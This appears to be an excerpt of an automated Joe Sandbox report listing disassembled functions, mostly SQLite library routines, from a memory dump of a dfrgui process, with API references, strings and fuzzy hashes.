Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_enter$sqlite3_freesqlite3_mutex_leave
String ID:
API String ID: 3222608360-0
Opcode ID: c671133aafb9068747cc4f67c3a9b708aaf11b571ed89a7cae954d0dfdb03e81
Instruction ID: 0d5c316279a9773f5cba45c3f31516ab3692081abff3a4de9372598d1c346589
Opcode Fuzzy Hash: c671133aafb9068747cc4f67c3a9b708aaf11b571ed89a7cae954d0dfdb03e81
Instruction Fuzzy Hash: 2C014875604A168FCB00EFAAD4C4909BBF4FF89758B258558E8888F305D330E955CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 61E0A9E3 Relevance: 6.0, APIs: 4, Instructions: 43COMMON

Download Yara Rule

APIs

sqlite3_free.SQLITE3 ref: 61E0AA1B

Part of subcall function 61E0A822: sqlite3_free.SQLITE3 ref: 61E0A843

sqlite3_free.SQLITE3 ref: 61E0AA2E
sqlite3_free.SQLITE3 ref: 61E0AA10

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_free.SQLITE3 ref: 61E0AA54

Part of subcall function 61E0A9B9: sqlite3_free.SQLITE3 ref: 61E0A9CA

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_free$sqlite3_mutex_enter
String ID:
API String ID: 3930042888-0
Opcode ID: 29e8ae0f5494ab8a612f1f888ab6182f37c100db74b13a36ff71eb97d14f9ccf
Instruction ID: 63bb81a0b3bf419812974592d8d68a6bc13e891150b75ca65fb92ffdaf69361f
Opcode Fuzzy Hash: 29e8ae0f5494ab8a612f1f888ab6182f37c100db74b13a36ff71eb97d14f9ccf
Instruction Fuzzy Hash: 2C018F70A40649CBCB00AFBAE8C495EF7F4EFC4309F65846ED4908B310E734D8658B51

Uniqueness

Uniqueness Score: -1.00%

Function 61E1E16C Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E1E181
sqlite3_result_error.SQLITE3 ref: 61E1E1B1
sqlite3_result_double.SQLITE3 ref: 61E1E1C7
sqlite3_result_int64.SQLITE3 ref: 61E1E1DF

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_aggregate_contextsqlite3_result_doublesqlite3_result_errorsqlite3_result_int64
String ID:
API String ID: 3779139978-0
Opcode ID: 9fd566f74b89c6b7f66afdcaae551186080e3c881e0ed872417969cce73c24b4
Instruction ID: 8ce6a14b360728900a64be2fd74fc915e35977c0f6e50b979a7a8bc465938bc6
Opcode Fuzzy Hash: 9fd566f74b89c6b7f66afdcaae551186080e3c881e0ed872417969cce73c24b4
Instruction Fuzzy Hash: 1A0148B094CB419EE702AF65C486759BEE0BB85358F21C9AEF4884B7A5C330C580CB83

Uniqueness

Uniqueness Score: -1.00%

Function 61E19456 Relevance: 6.0, APIs: 4, Instructions: 38stringCOMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E19464

Part of subcall function 61E19104: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1913B
Part of subcall function 61E19104: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E212EB), ref: 61E1916F
Part of subcall function 61E19104: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19447

sqlite3_mutex_enter.SQLITE3 ref: 61E1947C
strcmp.MSVCRT ref: 61E19499
sqlite3_mutex_leave.SQLITE3 ref: 61E194AA

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_configsqlite3_initializestrcmp
String ID:
API String ID: 2933023327-0
Opcode ID: 672cd1814eecb2aec6213f77f78a4125dc90f82447f629333bdd84b2e913c48b
Instruction ID: 3cde259a22742c9f1054c46a89e64281fb61f7826fdbc0f9e1846f8eddd38994
Opcode Fuzzy Hash: 672cd1814eecb2aec6213f77f78a4125dc90f82447f629333bdd84b2e913c48b
Instruction Fuzzy Hash: B3F09071A4C7A14BD710AFE984C1A1ABBA8AB8176CF29843DE9488F305D731D81087A1

Uniqueness

Uniqueness Score: -1.00%

Function 61E3C1B7 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

sqlite3_vmprintf.SQLITE3 ref: 61E3C1D0

Part of subcall function 61E38ACB: sqlite3_initialize.SQLITE3 ref: 61E38AD2
Part of subcall function 61E38ACB: sqlite3_str_vappendf.SQLITE3 ref: 61E38B1D

sqlite3_mprintf.SQLITE3 ref: 61E3C1EE

Part of subcall function 61E395AF: sqlite3_initialize.SQLITE3 ref: 61E395B5
Part of subcall function 61E395AF: sqlite3_vmprintf.SQLITE3 ref: 61E395CF

sqlite3_free.SQLITE3 ref: 61E3C1FA

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_free.SQLITE3 ref: 61E3C202

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_vmprintf$sqlite3_mprintfsqlite3_mutex_entersqlite3_str_vappendf
String ID:
API String ID: 2498652501-0
Opcode ID: c8f54d1cdddcc195b3f7571da4af0d171323da3f81a4d4ff0078371e724eb73f
Instruction ID: b725bf90798a4a21541a7c03a88b0b7fc61bcdac9a635251504108e54da318f6
Opcode Fuzzy Hash: c8f54d1cdddcc195b3f7571da4af0d171323da3f81a4d4ff0078371e724eb73f
Instruction Fuzzy Hash: 71F054716043655FD7007FAD888145EBBE8EEC8654F15C92EE888C7300E770D851C792

Uniqueness

Uniqueness Score: -1.00%

Function 61E3D0E9 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

sqlite3_value_pointer.SQLITE3 ref: 61E3D100

Part of subcall function 61E0E9A3: strcmp.MSVCRT ref: 61E0E9D2

sqlite3_mprintf.SQLITE3 ref: 61E3D119

Part of subcall function 61E395AF: sqlite3_initialize.SQLITE3 ref: 61E395B5
Part of subcall function 61E395AF: sqlite3_vmprintf.SQLITE3 ref: 61E395CF

sqlite3_result_error.SQLITE3 ref: 61E3D12F
sqlite3_free.SQLITE3 ref: 61E3D137

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_mprintfsqlite3_mutex_entersqlite3_result_errorsqlite3_value_pointersqlite3_vmprintfstrcmp
String ID:
API String ID: 2416658597-0
Opcode ID: 64fcfb30176419ab06eff722eea7ffda97e5b94d8ee14de47079f38a0e33537c
Instruction ID: 772f25b4658b8814ccd55f3d593faffd6a4ef416ec447d7624ec0c0326a2e215
Opcode Fuzzy Hash: 64fcfb30176419ab06eff722eea7ffda97e5b94d8ee14de47079f38a0e33537c
Instruction Fuzzy Hash: B2F03AB45083519BD340AF69888125EBAE4FFC5664F64C92DE498CB380E775C8908783

Uniqueness

Uniqueness Score: -1.00%

Function 61E924A7 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E924AE

Part of subcall function 61E19104: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E1913B
Part of subcall function 61E19104: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E212EB), ref: 61E1916F
Part of subcall function 61E19104: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1D169), ref: 61E19447

sqlite3_mutex_enter.SQLITE3 ref: 61E924C6
sqlite3_free.SQLITE3 ref: 61E924D3

Part of subcall function 61E0A119: sqlite3_mutex_enter.SQLITE3 ref: 61E0A138

sqlite3_mutex_leave.SQLITE3 ref: 61E924EF

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_enter$sqlite3_mutex_leave$sqlite3_configsqlite3_freesqlite3_initialize
String ID:
API String ID: 3512769177-0
Opcode ID: 8b4d9c97681afa23379cf456a1544c4d97ae7a28b77daa90330759cbc0e48b04
Instruction ID: a7faf802cf544c64f8dd2bc6035d54d93d323ae008512c37d455a838e90a6769
Opcode Fuzzy Hash: 8b4d9c97681afa23379cf456a1544c4d97ae7a28b77daa90330759cbc0e48b04
Instruction Fuzzy Hash: D0E04FB0548B468BDB007FFA85C571D76F8BB8234DF15446CC5488B342F7B5C4A08792

Uniqueness

Uniqueness Score: -1.00%

Function 61E2D6EB Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 441COMMON

Download Yara Rule

APIs

sqlite3_strlike.SQLITE3 ref: 61E2D772

Strings

l, xrefs: 61E2D836
\, xrefs: 61E2D75D

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_strlike
String ID: \$l
API String ID: 933858916-789299731
Opcode ID: 9a962edcbf8311a03030a1cdb42b80df691cfa5e9e9645a76dc70572ac1adefb
Instruction ID: ccf0c49eb534e3c6009cbf3e0ba0a02e1b15ff3e9375ca7fdd5a26894ce87455
Opcode Fuzzy Hash: 9a962edcbf8311a03030a1cdb42b80df691cfa5e9e9645a76dc70572ac1adefb
Instruction Fuzzy Hash: 6712B474A042498FDB44DFA8C491BAEBBF2BF88314F248429E859EB345D779DC42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 61E7F22C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E7F275
sqlite3_mutex_leave.SQLITE3 ref: 61E7F765

Part of subcall function 61E64B10: sqlite3_strnicmp.SQLITE3 ref: 61E64B82

Strings

p$a, xrefs: 61E7F347

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leavesqlite3_strnicmp
String ID: p$a
API String ID: 100587609-2774617310
Opcode ID: e8d0706f19643a0c7f8fd36a22fc455bfc2c1684018ff16c6cb04a526fa07738
Instruction ID: 7bfbea9d809b53a8c725440805245f1c57c2c37c067241f2b63ffe5a6789eae0
Opcode Fuzzy Hash: e8d0706f19643a0c7f8fd36a22fc455bfc2c1684018ff16c6cb04a526fa07738
Instruction Fuzzy Hash: 6A61E774A052598BEB20DF29C8847C9B7F0BF89308F20C4A9D859AB354D738DA95CF80

Uniqueness

Uniqueness Score: -1.00%

Function 61E18F0D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

`Aa, xrefs: 61E19030

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_log
String ID: `Aa
API String ID: 632333372-4150638200
Opcode ID: e800150336527023a995c349aeba7a27735e49498f2dc27530bdc5a049f79551
Instruction ID: fc6d9acf59f7385389393602123b31ae3c33dcc97a3293401e3251b3429592aa
Opcode Fuzzy Hash: e800150336527023a995c349aeba7a27735e49498f2dc27530bdc5a049f79551
Instruction Fuzzy Hash: 8851F774A9D649DFDB00CF5CC09268A77A2FB8A350F24C82BED168B358E735D9C18B51

Uniqueness

Uniqueness Score: -1.00%

Function 61E06E21 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

sqlite3_strnicmp.SQLITE3 ref: 61E06E6B

Strings

', xrefs: 61E06EAA
null, xrefs: 61E06E61

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_strnicmp
String ID: '$null
API String ID: 1961171630-2611297978
Opcode ID: ee7419b2ed7e277ff568c0bc274485698e72dff03853abf243cb134d767bdf84
Instruction ID: 64db699856c926bf6f1fed903ed9a0af56a2a1003efc68821c53fcb0a314754a
Opcode Fuzzy Hash: ee7419b2ed7e277ff568c0bc274485698e72dff03853abf243cb134d767bdf84
Instruction Fuzzy Hash: 6E31E820A483C68EF7008EB5C465392BBD3AB9D34BFB8C169D1454B28AE675DDE64701

Uniqueness

Uniqueness Score: -1.00%

Function 61E23A6D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

sqlite3_win32_is_nt.SQLITE3 ref: 61E23AA7

Part of subcall function 61E18A69: InterlockedCompareExchange.KERNEL32 ref: 61E18A89
Part of subcall function 61E18A69: InterlockedCompareExchange.KERNEL32 ref: 61E18AD0
Part of subcall function 61E18A69: InterlockedCompareExchange.KERNEL32 ref: 61E18AF0

Part of subcall function 61E189F3: sqlite3_win32_sleep.SQLITE3 ref: 61E18A4B

sqlite3_free.SQLITE3 ref: 61E23B72

Strings

winDelete, xrefs: 61E23B4C

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: CompareExchangeInterlocked$sqlite3_freesqlite3_win32_is_ntsqlite3_win32_sleep
String ID: winDelete
API String ID: 3336177498-3936022152
Opcode ID: ab892e8228a5b3e34b700c1a8b1b353e00f59013b3ea2d984c3764a9a89f54d5
Instruction ID: d0522adf12587d15279c09fa83411bc3e7b5bea1f215481e344140adb29f2a35
Opcode Fuzzy Hash: ab892e8228a5b3e34b700c1a8b1b353e00f59013b3ea2d984c3764a9a89f54d5
Instruction Fuzzy Hash: FE3198B0E1875A8BEB01DFA5C89559EBBB5FF8D318F30C529E85296340D734C9428F52

Uniqueness

Uniqueness Score: -1.00%

Function 61E632A6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

3, xrefs: 61E63310

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-1842515611
Opcode ID: 0978d28bd642f22827974ce885a96dc1c4f4af1e7d2f7c2c8cdcf6307ea1d685
Instruction ID: 4e5c2a4fe554e193ea55f299baa8a105126296aa7bb747c3c5bd094e21da8ecb
Opcode Fuzzy Hash: 0978d28bd642f22827974ce885a96dc1c4f4af1e7d2f7c2c8cdcf6307ea1d685
Instruction Fuzzy Hash: 86317A749442648BDB21CF69C8C07C9BBF4FB06718F6485A9E89C9B345D770E984CF91

Uniqueness

Uniqueness Score: -1.00%

Function 61E93940 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 61E939D0
VirtualProtect.KERNEL32 ref: 61E93A12

Strings

@, xrefs: 61E939FB

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848208605.0000000061EB6000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: @
API String ID: 1027372294-2766056989
Opcode ID: 1ae9009f3a3168a4bf2392de961bcbf4039699a472af85b23aad72ecee92efe2
Instruction ID: 4142cea1e346a0175b9ecf8fb6ac01727a9c4b95edeb9471b10218aae38749d4
Opcode Fuzzy Hash: 1ae9009f3a3168a4bf2392de961bcbf4039699a472af85b23aad72ecee92efe2
Instruction Fuzzy Hash: E83168B2914B028FE710DFB9C58460AFBE0FF45354F64CA28E89897350E734E880CB92

Uniqueness

Uniqueness Score: -1.00%

Function 61E641D7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

sqlite3_exec.SQLITE3 ref: 61E64271

Strings

sqlite_stat1, xrefs: 61E6421B
-a, xrefs: 61E64231

Memory Dump Source

Source File: 00000008.00000002.848159408.0000000061E01000.00000020.00000001.01000000.0000000A.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.848155630.0000000061E00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848181965.0000000061E99000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848186627.0000000061E9B000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848192015.0000000061EAE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848195774.0000000061EAF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848199606.0000000061EB2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.848204998.0000000061EB5000.00000008.00000001.01000000.0000000A.sdmpDownload File
